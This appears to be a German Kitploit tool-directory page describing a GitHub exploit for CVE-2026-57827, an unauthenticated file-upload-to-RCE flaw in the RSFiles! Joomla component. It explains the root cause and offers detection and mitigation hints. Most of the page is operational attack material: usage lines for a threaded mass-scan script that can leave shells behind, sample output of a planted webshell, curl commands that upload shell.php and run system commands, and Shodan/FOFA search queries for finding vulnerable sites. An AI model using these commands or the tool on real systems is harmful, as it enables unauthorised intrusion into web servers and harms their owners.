Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/shinthink/cve-2026-57827
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstestsRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla-Komponente: Nicht authentifizierter Datei-Upload mit Remote-Codeausführung (RCE). Upload-Bypass über Split-Controller. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

Repository anzeigen
15217vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-57827 — RSFiles! Joomla-Komponente: Nicht authentifizierter Datei-Upload führt zu RCE

Split-Controller-Upload-Bypass → direkter Schreib-Task → /downloads/shell.php → RCE


Übersicht

CVE-2026-57827 ist eine kritische (CVSS 9.8) nicht authentifizierte Schwachstelle für beliebigen Datei-Upload in RSFiles! (com_rsfiles), einer weit verbreiteten Dateiverwaltungs- und Download-Komponente für Joomla, in Versionen < 1.17.12.

Die Schwachstelle nutzt einen Designfehler im Split-Controller: RSFiles! trennt seinen Upload in zwei Frontend-Tasks — eine Vorabprüfung (Berechtigungs-Gate + Erweiterungs-Whitelist) und eine Schreibmethode (speichert die Datei auf der Festplatte). Die Schreibmethode kann direkt aufgerufen werden und umgeht die Vorabprüfung vollständig. Keine Authentifizierung, kein CSRF-Token erforderlich.

Betroffene Versionen

VersionStatus
< 1.17.12Anfällig
1.17.12+Behoben

Entdeckt von: Phil Taylor, mySites.guru (10. Juli 2026) Hersteller: RSJoomla (rsjoomla.com) Komponente: com_rsfiles


Mechanismus der Schwachstelle

Grundursache

RSFiles! verteilt seinen Upload auf zwei separate Frontend-Tasks in /components/com_rsfiles/controllers/rsfiles.php:

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Warum es funktioniert

  1. Split-Controller — Die Sicherheitsprüfungen und das Schreiben der Datei befinden sich in zwei verschiedenen Methoden. Nur die Vorabprüfung ist geschützt.
  2. Direkter Task-Zugriff — Der Frontend-Controller von Joomla erlaubt es, jeden Task direkt über &task=rsfiles.upload aufzurufen und die Vorabprüfung vollständig zu überspringen.
  3. Keine Authentifizierung — Der Frontend-Controller hat keine Zugriffskontrolle. Anonyme Besucher können den Schreib-Task aufrufen.
  4. Kein CSRF-Token — Das Frontend-Upload-Formular hat kein siteweites CSRF-Token.
  5. Keine Dateityp-Validierung — Die Schreibmethode liest den Dateinamen aus der Anfrage und übergibt ihn an Joomlas eingebundenen Upload-Handler (JFile::upload()), der standardmäßig jeden Dateityp akzeptiert.
  6. Downloads-Ordner im Web-Root — Der Standard-Downloads-Ordner von RSFiles! liegt im Web-Root. Die schützende .htaccess, die dort die PHP-Ausführung stoppen würde, ist eine Opt-in-Admin-Einstellung, die standardmäßig AUS ist.

Angriffsablauf

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Verifizierte Quellcode-Referenzen

DateipfadZweck
/components/com_rsfiles/controllers/rsfiles.phpController mit anfälligen upload()- und checkupload()-Tasks
/components/com_rsfiles/views/upload/tmpl/upload.phpFrontend-Upload-Formularvorlage (bestätigt: name="file", task=rsfiles.upload)
/downloads/Standard-Downloads-Ordner im Web-Root (.htaccess-Schutz standardmäßig AUS)
/briefcase/Briefcase-Ordner (ebenfalls beschreibbar)

Erkennung in Server-Logs (aus dem RSJoomla-Advisory)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Zentraler Designfehler

Die Sicherheitsprüfungen (Berechtigungs-Gate + Erweiterungs-Whitelist) sind ein separater Vorab-Schritt von der Methode, die die Datei tatsächlich schreibt. Nur der erste enthält die Prüfungen. Der zweite — derjenige, der auf die Festplatte schreibt — konnte direkt aufgerufen werden, indem der richtige task-Parameter in der URL gesetzt wurde, wodurch alle Sicherheitskontrollen umgangen wurden.

Dies ist ein Lehrbuchbeispiel des Anti-Patterns „Prüfungen und Aktionen an verschiedenen Stellen“: Das Schutzgatter und die Operation, die es schützen soll, sind entkoppelt, und ein Angreifer kann die Operation erreichen, ohne das Gatter zu passieren.


Installation

git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

Verwendung

# Einzelnes Ziel
python cve_2026_57827.py -t target.com

# Massen-Scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug-Modus, Shells auf dem Ziel hinterlassen
python cve_2026_57827.py -t target.com --debug --no-cleanup

Argumente

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Einzelnes Ziel

$ python cve_2026_57827.py -t joomla-site.com
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Manuelle Ausnutzung

Schritt 1 — Shell hochladen

curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Schritt 2 — Auf die Shell zugreifen

curl 'https://target.com/downloads/shell.php?c=id'

Schritt 3 — Befehle ausführen

curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

Mitigation (falls ein Update nicht möglich ist)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Auswirkungen

Tool herunterladen